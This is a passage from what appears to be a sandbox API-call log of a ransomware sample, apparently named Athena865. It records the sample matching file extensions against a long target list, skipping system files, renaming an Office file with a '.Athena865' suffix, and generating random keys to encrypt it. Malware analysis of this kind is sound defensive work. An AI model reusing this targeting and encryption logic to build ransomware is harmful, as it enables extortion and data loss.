lpString2="daschema") returned -1 [0073.155] lstrlenW (lpString="db-journal") returned 10 [0073.155] lstrcmpiW (lpString1="emas14.xss", lpString2="db-journal") returned 1 [0073.155] lstrlenW (lpString="db-shm") returned 6 [0073.155] lstrcmpiW (lpString1="14.xss", lpString2="db-shm") returned -1 [0073.155] lstrlenW (lpString="db-wal") returned 6 [0073.155] lstrcmpiW (lpString1="14.xss", lpString2="db-wal") returned -1 [0073.155] lstrlenW (lpString="dbc") returned 3 [0073.155] lstrcmpiW (lpString1="xss", lpString2="dbc") returned 1 [0073.155] lstrlenW (lpString="dbs") returned 3 [0073.155] lstrcmpiW (lpString1="xss", lpString2="dbs") returned 1 [0073.156] lstrlenW (lpString="dbt") returned 3 [0073.156] lstrcmpiW (lpString1="xss", lpString2="dbt") returned 1 [0073.156] lstrlenW (lpString="dbv") returned 3 [0073.156] lstrcmpiW (lpString1="xss", lpString2="dbv") returned 1 [0073.156] lstrlenW (lpString="dbx") returned 3 [0073.156] lstrcmpiW (lpString1="xss", lpString2="dbx") returned 1 [0073.156] lstrlenW (lpString="dcb") returned 3 [0073.156] lstrcmpiW (lpString1="xss", lpString2="dcb") returned 1 [0073.156] lstrlenW (lpString="dct") returned 3 [0073.156] lstrcmpiW (lpString1="xss", lpString2="dct") returned 1 [0073.156] lstrlenW (lpString="dcx") returned 3 [0073.156] lstrcmpiW (lpString1="xss", lpString2="dcx") returned 1 [0073.156] lstrlenW (lpString="ddl") returned 3 [0073.156] lstrcmpiW (lpString1="xss", lpString2="ddl") returned 1 [0073.156] lstrlenW (lpString="dlis") returned 4 [0073.156] lstrcmpiW (lpString1=".xss", lpString2="dlis") returned -1 [0073.156] lstrlenW (lpString="dp1") returned 3 [0073.156] lstrcmpiW (lpString1="xss", lpString2="dp1") returned 1 [0073.156] lstrlenW (lpString="dqy") returned 3 [0073.156] lstrcmpiW (lpString1="xss", lpString2="dqy") returned 1 [0073.156] lstrlenW (lpString="dsk") returned 3 [0073.156] lstrcmpiW (lpString1="xss", lpString2="dsk") returned 1 [0073.156] lstrlenW (lpString="dsn") returned 3 [0073.156] lstrcmpiW (lpString1="xss", lpString2="dsn") returned 1 [0073.156] lstrlenW (lpString="dtsx") returned 4 [0073.156] lstrcmpiW (lpString1=".xss", lpString2="dtsx") returned -1 [0073.156] lstrlenW (lpString="dxl") returned 3 [0073.156] lstrcmpiW (lpString1="xss", lpString2="dxl") returned 1 [0073.156] lstrlenW (lpString="eco") returned 3 [0073.156] lstrcmpiW (lpString1="xss", lpString2="eco") returned 1 [0073.156] lstrlenW (lpString="ecx") returned 3 [0073.156] lstrcmpiW (lpString1="xss", lpString2="ecx") returned 1 [0073.156] lstrlenW (lpString="edb") returned 3 [0073.157] lstrcmpiW (lpString1="xss", lpString2="edb") returned 1 [0073.157] lstrlenW (lpString="epim") returned 4 [0073.157] lstrcmpiW (lpString1=".xss", lpString2="epim") returned -1 [0073.157] lstrlenW (lpString="fcd") returned 3 [0073.157] lstrcmpiW (lpString1="xss", lpString2="fcd") returned 1 [0073.157] lstrlenW (lpString="fdb") returned 3 [0073.157] lstrcmpiW (lpString1="xss", lpString2="fdb") returned 1 [0073.157] lstrlenW (lpString="fic") returned 3 [0073.157] lstrcmpiW (lpString1="xss", lpString2="fic") returned 1 [0073.157] lstrlenW (lpString="flexolibrary") returned 12 [0073.157] lstrcmpiW (lpString1="chemas14.xss", lpString2="flexolibrary") returned -1 [0073.157] lstrlenW (lpString="fm5") returned 3 [0073.157] lstrcmpiW (lpString1="xss", lpString2="fm5") returned 1 [0073.157] lstrlenW (lpString="fmp") returned 3 [0073.157] lstrcmpiW (lpString1="xss", lpString2="fmp") returned 1 [0073.157] lstrlenW (lpString="fmp12") returned 5 [0073.157] lstrcmpiW (lpString1="4.xss", lpString2="fmp12") returned -1 [0073.157] lstrlenW (lpString="fmpsl") returned 5 [0073.157] lstrcmpiW (lpString1="4.xss", lpString2="fmpsl") returned -1 [0073.157] lstrlenW (lpString="fol") returned 3 [0073.157] lstrcmpiW (lpString1="xss", lpString2="fol") returned 1 [0073.157] lstrlenW (lpString="fp3") returned 3 [0073.157] lstrcmpiW (lpString1="xss", lpString2="fp3") returned 1 [0073.157] lstrlenW (lpString="fp4") returned 3 [0073.157] lstrcmpiW (lpString1="xss", lpString2="fp4") returned 1 [0073.157] lstrlenW (lpString="fp5") returned 3 [0073.157] lstrcmpiW (lpString1="xss", lpString2="fp5") returned 1 [0073.157] lstrlenW (lpString="fp7") returned 3 [0073.157] lstrcmpiW (lpString1="xss", lpString2="fp7") returned 1 [0073.157] lstrlenW (lpString="fpt") returned 3 [0073.157] lstrcmpiW (lpString1="xss", lpString2="fpt") returned 1 [0073.157] lstrlenW (lpString="frm") returned 3 [0073.157] lstrcmpiW (lpString1="xss", lpString2="frm") returned 1 [0073.157] lstrlenW (lpString="gdb") returned 3 [0073.158] lstrcmpiW (lpString1="xss", lpString2="gdb") returned 1 [0073.158] lstrlenW (lpString="gdb") returned 3 [0073.158] lstrcmpiW (lpString1="xss", lpString2="gdb") returned 1 [0073.158] lstrlenW (lpString="grdb") returned 4 [0073.158] lstrcmpiW (lpString1=".xss", lpString2="grdb") returned -1 [0073.158] lstrlenW (lpString="gwi") returned 3 [0073.158] lstrcmpiW (lpString1="xss", lpString2="gwi") returned 1 [0073.158] lstrlenW (lpString="hdb") returned 3 [0073.158] lstrcmpiW (lpString1="xss", lpString2="hdb") returned 1 [0073.158] lstrlenW (lpString="his") returned 3 [0073.158] lstrcmpiW (lpString1="xss", lpString2="his") returned 1 [0073.158] lstrlenW (lpString="ib") returned 2 [0073.158] lstrcmpiW (lpString1="ss", lpString2="ib") returned 1 [0073.158] lstrlenW (lpString="idb") returned 3 [0073.158] lstrcmpiW (lpString1="xss", lpString2="idb") returned 1 [0073.158] lstrlenW (lpString="ihx") returned 3 [0073.158] lstrcmpiW (lpString1="xss", lpString2="ihx") returned 1 [0073.158] lstrlenW (lpString="itdb") returned 4 [0073.158] lstrcmpiW (lpString1=".xss", lpString2="itdb") returned -1 [0073.158] lstrlenW (lpString="itw") returned 3 [0073.158] lstrcmpiW (lpString1="xss", lpString2="itw") returned 1 [0073.158] lstrlenW (lpString="jet") returned 3 [0073.158] lstrcmpiW (lpString1="xss", lpString2="jet") returned 1 [0073.158] lstrlenW (lpString="jtx") returned 3 [0073.158] lstrcmpiW (lpString1="xss", lpString2="jtx") returned 1 [0073.158] lstrlenW (lpString="kdb") returned 3 [0073.158] lstrcmpiW (lpString1="xss", lpString2="kdb") returned 1 [0073.158] lstrlenW (lpString="kexi") returned 4 [0073.158] lstrcmpiW (lpString1=".xss", lpString2="kexi") returned -1 [0073.158] lstrlenW (lpString="kexic") returned 5 [0073.158] lstrcmpiW (lpString1="4.xss", lpString2="kexic") returned -1 [0073.158] lstrlenW (lpString="kexis") returned 5 [0073.158] lstrcmpiW (lpString1="4.xss", lpString2="kexis") returned -1 [0073.159] lstrlenW (lpString="lgc") returned 3 [0073.159] lstrcmpiW (lpString1="xss", lpString2="lgc") returned 1 [0073.159] lstrlenW (lpString="lwx") returned 3 [0073.159] lstrcmpiW (lpString1="xss", lpString2="lwx") returned 1 [0073.159] lstrlenW (lpString="maf") returned 3 [0073.159] lstrcmpiW (lpString1="xss", lpString2="maf") returned 1 [0073.159] lstrlenW (lpString="maq") returned 3 [0073.159] lstrcmpiW (lpString1="xss", lpString2="maq") returned 1 [0073.159] lstrlenW (lpString="mar") returned 3 [0073.159] lstrcmpiW (lpString1="xss", lpString2="mar") returned 1 [0073.159] lstrlenW (lpString="marshal") returned 7 [0073.159] lstrcmpiW (lpString1="s14.xss", lpString2="marshal") returned 1 [0073.159] lstrlenW (lpString="mas") returned 3 [0073.159] lstrcmpiW (lpString1="xss", lpString2="mas") returned 1 [0073.159] lstrlenW (lpString="mav") returned 3 [0073.159] lstrcmpiW (lpString1="xss", lpString2="mav") returned 1 [0073.159] lstrlenW (lpString="maw") returned 3 [0073.159] lstrcmpiW (lpString1="xss", lpString2="maw") returned 1 [0073.159] lstrlenW (lpString="mdbhtml") returned 7 [0073.159] lstrcmpiW (lpString1="s14.xss", lpString2="mdbhtml") returned 1 [0073.159] lstrlenW (lpString="mdn") returned 3 [0073.159] lstrcmpiW (lpString1="xss", lpString2="mdn") returned 1 [0073.159] lstrlenW (lpString="mdt") returned 3 [0073.159] lstrcmpiW (lpString1="xss", lpString2="mdt") returned 1 [0073.159] lstrlenW (lpString="mfd") returned 3 [0073.159] lstrcmpiW (lpString1="xss", lpString2="mfd") returned 1 [0073.159] lstrlenW (lpString="mpd") returned 3 [0073.159] lstrcmpiW (lpString1="xss", lpString2="mpd") returned 1 [0073.159] lstrlenW (lpString="mrg") returned 3 [0073.159] lstrcmpiW (lpString1="xss", lpString2="mrg") returned 1 [0073.159] lstrlenW (lpString="mud") returned 3 [0073.159] lstrcmpiW (lpString1="xss", lpString2="mud") returned 1 [0073.160] lstrlenW (lpString="mwb") returned 3 [0073.160] lstrcmpiW (lpString1="xss", lpString2="mwb") returned 1 [0073.160] lstrlenW (lpString="myd") returned 3 [0073.160] lstrcmpiW (lpString1="xss", lpString2="myd") returned 1 [0073.160] lstrlenW (lpString="ndf") returned 3 [0073.160] lstrcmpiW (lpString1="xss", lpString2="ndf") returned 1 [0073.160] lstrlenW (lpString="nnt") returned 3 [0073.160] lstrcmpiW (lpString1="xss", lpString2="nnt") returned 1 [0073.160] lstrlenW (lpString="nrmlib") returned 6 [0073.160] lstrcmpiW (lpString1="14.xss", lpString2="nrmlib") returned -1 [0073.160] lstrlenW (lpString="ns2") returned 3 [0073.160] lstrcmpiW (lpString1="xss", lpString2="ns2") returned 1 [0073.160] lstrlenW (lpString="ns3") returned 3 [0073.160] lstrcmpiW (lpString1="xss", lpString2="ns3") returned 1 [0073.160] lstrlenW (lpString="ns4") returned 3 [0073.160] lstrcmpiW (lpString1="xss", lpString2="ns4") returned 1 [0073.160] lstrlenW (lpString="nsf") returned 3 [0073.160] lstrcmpiW (lpString1="xss", lpString2="nsf") returned 1 [0073.160] lstrlenW (lpString="nv") returned 2 [0073.160] lstrcmpiW (lpString1="ss", lpString2="nv") returned 1 [0073.160] lstrlenW (lpString="nv2") returned 3 [0073.160] lstrcmpiW (lpString1="xss", lpString2="nv2") returned 1 [0073.160] lstrlenW (lpString="nwdb") returned 4 [0073.160] lstrcmpiW (lpString1=".xss", lpString2="nwdb") returned -1 [0073.160] lstrlenW (lpString="nyf") returned 3 [0073.160] lstrcmpiW (lpString1="xss", lpString2="nyf") returned 1 [0073.160] lstrlenW (lpString="odb") returned 3 [0073.160] lstrcmpiW (lpString1="xss", lpString2="odb") returned 1 [0073.160] lstrlenW (lpString="odb") returned 3 [0073.160] lstrcmpiW (lpString1="xss", lpString2="odb") returned 1 [0073.160] lstrlenW (lpString="oqy") returned 3 [0073.160] lstrcmpiW (lpString1="xss", lpString2="oqy") returned 1 [0073.160] lstrlenW (lpString="ora") returned 3 [0073.161] lstrcmpiW (lpString1="xss", lpString2="ora") returned 1 [0073.161] lstrlenW (lpString="orx") returned 3 [0073.161] lstrcmpiW (lpString1="xss", lpString2="orx") returned 1 [0073.161] lstrlenW (lpString="owc") returned 3 [0073.161] lstrcmpiW (lpString1="xss", lpString2="owc") returned 1 [0073.161] lstrlenW (lpString="p96") returned 3 [0073.161] lstrcmpiW (lpString1="xss", lpString2="p96") returned 1 [0073.161] lstrlenW (lpString="p97") returned 3 [0073.161] lstrcmpiW (lpString1="xss", lpString2="p97") returned 1 [0073.161] lstrlenW (lpString="pan") returned 3 [0073.161] lstrcmpiW (lpString1="xss", lpString2="pan") returned 1 [0073.161] lstrlenW (lpString="pdb") returned 3 [0073.161] lstrcmpiW (lpString1="xss", lpString2="pdb") returned 1 [0073.161] lstrlenW (lpString="pdm") returned 3 [0073.161] lstrcmpiW (lpString1="xss", lpString2="pdm") returned 1 [0073.161] lstrlenW (lpString="pnz") returned 3 [0073.161] lstrcmpiW (lpString1="xss", lpString2="pnz") returned 1 [0073.161] lstrlenW (lpString="qry") returned 3 [0073.161] lstrcmpiW (lpString1="xss", lpString2="qry") returned 1 [0073.161] lstrlenW (lpString="qvd") returned 3 [0073.161] lstrcmpiW (lpString1="xss", lpString2="qvd") returned 1 [0073.161] lstrlenW (lpString="rbf") returned 3 [0073.161] lstrcmpiW (lpString1="xss", lpString2="rbf") returned 1 [0073.161] lstrlenW (lpString="rctd") returned 4 [0073.161] lstrcmpiW (lpString1=".xss", lpString2="rctd") returned -1 [0073.161] lstrlenW (lpString="rod") returned 3 [0073.161] lstrcmpiW (lpString1="xss", lpString2="rod") returned 1 [0073.161] lstrlenW (lpString="rodx") returned 4 [0073.161] lstrcmpiW (lpString1=".xss", lpString2="rodx") returned -1 [0073.161] lstrlenW (lpString="rpd") returned 3 [0073.161] lstrcmpiW (lpString1="xss", lpString2="rpd") returned 1 [0073.161] lstrlenW (lpString="rsd") returned 3 [0073.161] lstrcmpiW (lpString1="xss", lpString2="rsd") returned 1 [0073.161] lstrlenW (lpString="sas7bdat") returned 8 [0073.162] lstrcmpiW (lpString1="as14.xss", lpString2="sas7bdat") returned -1 [0073.162] lstrlenW (lpString="sbf") returned 3 [0073.162] lstrcmpiW (lpString1="xss", lpString2="sbf") returned 1 [0073.162] lstrlenW (lpString="scx") returned 3 [0073.162] lstrcmpiW (lpString1="xss", lpString2="scx") returned 1 [0073.162] lstrlenW (lpString="sdb") returned 3 [0073.162] lstrcmpiW (lpString1="xss", lpString2="sdb") returned 1 [0073.162] lstrlenW (lpString="sdc") returned 3 [0073.162] lstrcmpiW (lpString1="xss", lpString2="sdc") returned 1 [0073.162] lstrlenW (lpString="sdf") returned 3 [0073.162] lstrcmpiW (lpString1="xss", lpString2="sdf") returned 1 [0073.162] lstrlenW (lpString="sis") returned 3 [0073.162] lstrcmpiW (lpString1="xss", lpString2="sis") returned 1 [0073.162] lstrlenW (lpString="spq") returned 3 [0073.162] lstrcmpiW (lpString1="xss", lpString2="spq") returned 1 [0073.162] lstrlenW (lpString="te") returned 2 [0073.162] lstrcmpiW (lpString1="ss", lpString2="te") returned -1 [0073.162] lstrlenW (lpString="teacher") returned 7 [0073.162] lstrcmpiW (lpString1="s14.xss", lpString2="teacher") returned -1 [0073.162] lstrlenW (lpString="tmd") returned 3 [0073.162] lstrcmpiW (lpString1="xss", lpString2="tmd") returned 1 [0073.162] lstrlenW (lpString="tps") returned 3 [0073.162] lstrcmpiW (lpString1="xss", lpString2="tps") returned 1 [0073.162] lstrlenW (lpString="trc") returned 3 [0073.162] lstrcmpiW (lpString1="xss", lpString2="trc") returned 1 [0073.162] lstrlenW (lpString="trc") returned 3 [0073.162] lstrcmpiW (lpString1="xss", lpString2="trc") returned 1 [0073.162] lstrlenW (lpString="trm") returned 3 [0073.162] lstrcmpiW (lpString1="xss", lpString2="trm") returned 1 [0073.162] lstrlenW (lpString="udb") returned 3 [0073.162] lstrcmpiW (lpString1="xss", lpString2="udb") returned 1 [0073.162] lstrlenW (lpString="udl") returned 3 [0073.162] lstrcmpiW (lpString1="xss", lpString2="udl") returned 1 [0073.163] lstrlenW (lpString="usr") returned 3 [0073.163] lstrcmpiW (lpString1="xss", lpString2="usr") returned 1 [0073.163] lstrlenW (lpString="v12") returned 3 [0073.163] lstrcmpiW (lpString1="xss", lpString2="v12") returned 1 [0073.163] lstrlenW (lpString="vis") returned 3 [0073.163] lstrcmpiW (lpString1="xss", lpString2="vis") returned 1 [0073.163] lstrlenW (lpString="vpd") returned 3 [0073.163] lstrcmpiW (lpString1="xss", lpString2="vpd") returned 1 [0073.163] lstrlenW (lpString="vvv") returned 3 [0073.163] lstrcmpiW (lpString1="xss", lpString2="vvv") returned 1 [0073.163] lstrlenW (lpString="wdb") returned 3 [0073.163] lstrcmpiW (lpString1="xss", lpString2="wdb") returned 1 [0073.163] lstrlenW (lpString="wmdb") returned 4 [0073.163] lstrcmpiW (lpString1=".xss", lpString2="wmdb") returned -1 [0073.163] lstrlenW (lpString="wrk") returned 3 [0073.163] lstrcmpiW (lpString1="xss", lpString2="wrk") returned 1 [0073.163] lstrlenW (lpString="xdb") returned 3 [0073.163] lstrcmpiW (lpString1="xss", lpString2="xdb") returned 1 [0073.163] lstrlenW (lpString="xld") returned 3 [0073.163] lstrcmpiW (lpString1="xss", lpString2="xld") returned 1 [0073.163] lstrlenW (lpString="xmlff") returned 5 [0073.163] lstrcmpiW (lpString1="4.xss", lpString2="xmlff") returned -1 [0073.163] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss.Athena865") returned 76 [0073.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_schemas14.xss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\installed_schemas14.xss.athena865"), dwFlags=0x1) returned 1 [0073.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\installed_schemas14.xss.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0073.166] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=544768) returned 1 [0073.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0073.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0073.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0073.167] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0073.168] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0073.168] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.168] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x85300, lpName=0x0) returned 0x17c [0073.179] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x85300) returned 0x2d50000 [0073.228] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0073.235] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0073.235] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0073.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0073.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0073.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0073.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0073.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0073.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0073.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0073.235] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0073.240] CloseHandle (hObject=0x17c) returned 1 [0073.240] CloseHandle (hObject=0x154) returned 1 [0073.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0073.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0073.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0073.242] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf65300, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xd5938280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2bf65300, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INTLDATE.DLL", cAlternateFileName="")) returned 1 [0073.243] lstrcmpiW (lpString1="INTLDATE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0073.243] lstrcmpiW (lpString1="INTLDATE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0073.243] lstrcmpiW (lpString1="INTLDATE.DLL", lpString2=".") returned 1 [0073.243] lstrcmpiW (lpString1="INTLDATE.DLL", lpString2="..") returned 1 [0073.243] lstrcmpiW (lpString1="INTLDATE.DLL", lpString2="windows") returned -1 [0073.243] lstrcmpiW (lpString1="INTLDATE.DLL", lpString2="bootmgr") returned 1 [0073.243] lstrcmpiW (lpString1="INTLDATE.DLL", lpString2="temp") returned -1 [0073.243] lstrcmpiW (lpString1="INTLDATE.DLL", lpString2="pagefile.sys") returned -1 [0073.243] lstrcmpiW (lpString1="INTLDATE.DLL", lpString2="boot") returned 1 [0073.243] lstrcmpiW (lpString1="INTLDATE.DLL", lpString2="ids.txt") returned 1 [0073.243] lstrcmpiW (lpString1="INTLDATE.DLL", lpString2="ntuser.dat") returned -1 [0073.243] lstrcmpiW (lpString1="INTLDATE.DLL", lpString2="perflogs") returned -1 [0073.243] lstrcmpiW (lpString1="INTLDATE.DLL", lpString2="MSBuild") returned -1 [0073.243] lstrlenW (lpString="INTLDATE.DLL") returned 12 [0073.243] lstrcpyW (in: lpString1=0x241e89e, lpString2="INTLDATE.DLL" | out: lpString1="INTLDATE.DLL") returned="INTLDATE.DLL" [0073.243] lstrlenW (lpString="INTLDATE.DLL") returned 12 [0073.243] lstrlenW (lpString="Athena865") returned 9 [0073.243] lstrcmpiW (lpString1="LDATE.DLL", lpString2="Athena865") returned 1 [0073.243] lstrlenW (lpString=".dll") returned 4 [0073.243] lstrcmpiW (lpString1="INTLDATE.DLL", lpString2=".dll") returned 1 [0073.243] lstrlenW (lpString=".lnk") returned 4 [0073.243] lstrcmpiW (lpString1="INTLDATE.DLL", lpString2=".lnk") returned 1 [0073.243] lstrlenW (lpString=".ini") returned 4 [0073.243] lstrcmpiW (lpString1="INTLDATE.DLL", lpString2=".ini") returned 1 [0073.243] lstrlenW (lpString=".sys") returned 4 [0073.243] lstrcmpiW (lpString1="INTLDATE.DLL", lpString2=".sys") returned 1 [0073.243] lstrlenW (lpString="INTLDATE.DLL") returned 12 [0073.243] lstrlenW (lpString="bak") returned 3 [0073.243] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0073.243] lstrlenW (lpString="ba_") returned 3 [0073.243] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0073.243] lstrlenW (lpString="dbb") returned 3 [0073.243] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0073.243] lstrlenW (lpString="vmdk") returned 4 [0073.244] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0073.244] lstrlenW (lpString="rar") returned 3 [0073.244] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0073.244] lstrlenW (lpString="zip") returned 3 [0073.244] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0073.244] lstrlenW (lpString="tgz") returned 3 [0073.244] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0073.244] lstrlenW (lpString="vbox") returned 4 [0073.244] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0073.244] lstrlenW (lpString="vdi") returned 3 [0073.253] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0073.253] lstrlenW (lpString="vhd") returned 3 [0073.253] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0073.253] lstrlenW (lpString="vhdx") returned 4 [0073.253] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0073.253] lstrlenW (lpString="avhd") returned 4 [0073.253] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0073.253] lstrlenW (lpString="db") returned 2 [0073.253] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0073.253] lstrlenW (lpString="db2") returned 3 [0073.253] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0073.253] lstrlenW (lpString="db3") returned 3 [0073.253] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0073.253] lstrlenW (lpString="dbf") returned 3 [0073.253] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0073.253] lstrlenW (lpString="mdf") returned 3 [0073.253] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0073.253] lstrlenW (lpString="mdb") returned 3 [0073.253] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0073.253] lstrlenW (lpString="sql") returned 3 [0073.253] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0073.253] lstrlenW (lpString="sqlite") returned 6 [0073.253] lstrcmpiW (lpString1="TE.DLL", lpString2="sqlite") returned 1 [0073.253] lstrlenW (lpString="sqlite3") returned 7 [0073.253] lstrcmpiW (lpString1="ATE.DLL", lpString2="sqlite3") returned -1 [0073.253] lstrlenW (lpString="sqlitedb") returned 8 [0073.253] lstrcmpiW (lpString1="DATE.DLL", lpString2="sqlitedb") returned -1 [0073.253] lstrlenW (lpString="xml") returned 3 [0073.253] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0073.253] lstrlenW (lpString="$er") returned 3 [0073.253] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0073.254] lstrlenW (lpString="4dd") returned 3 [0073.254] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0073.254] lstrlenW (lpString="4dl") returned 3 [0073.254] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0073.254] lstrlenW (lpString="^^^") returned 3 [0073.254] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0073.254] lstrlenW (lpString="abs") returned 3 [0073.254] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0073.254] lstrlenW (lpString="abx") returned 3 [0073.254] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0073.254] lstrlenW (lpString="accdb") returned 5 [0073.254] lstrcmpiW (lpString1="E.DLL", lpString2="accdb") returned 1 [0073.254] lstrlenW (lpString="accdc") returned 5 [0073.254] lstrcmpiW (lpString1="E.DLL", lpString2="accdc") returned 1 [0073.254] lstrlenW (lpString="accde") returned 5 [0073.254] lstrcmpiW (lpString1="E.DLL", lpString2="accde") returned 1 [0073.254] lstrlenW (lpString="accdr") returned 5 [0073.254] lstrcmpiW (lpString1="E.DLL", lpString2="accdr") returned 1 [0073.254] lstrlenW (lpString="accdt") returned 5 [0073.254] lstrcmpiW (lpString1="E.DLL", lpString2="accdt") returned 1 [0073.254] lstrlenW (lpString="accdw") returned 5 [0073.254] lstrcmpiW (lpString1="E.DLL", lpString2="accdw") returned 1 [0073.254] lstrlenW (lpString="accft") returned 5 [0073.254] lstrcmpiW (lpString1="E.DLL", lpString2="accft") returned 1 [0073.254] lstrlenW (lpString="adb") returned 3 [0073.254] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0073.254] lstrlenW (lpString="adb") returned 3 [0073.254] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0073.254] lstrlenW (lpString="ade") returned 3 [0073.254] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0073.254] lstrlenW (lpString="adf") returned 3 [0073.254] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0073.254] lstrlenW (lpString="adn") returned 3 [0073.254] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0073.255] lstrlenW (lpString="adp") returned 3 [0073.255] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0073.255] lstrlenW (lpString="alf") returned 3 [0073.255] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0073.255] lstrlenW (lpString="ask") returned 3 [0073.255] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0073.255] lstrlenW (lpString="btr") returned 3 [0073.255] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0073.255] lstrlenW (lpString="cat") returned 3 [0073.255] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0073.255] lstrlenW 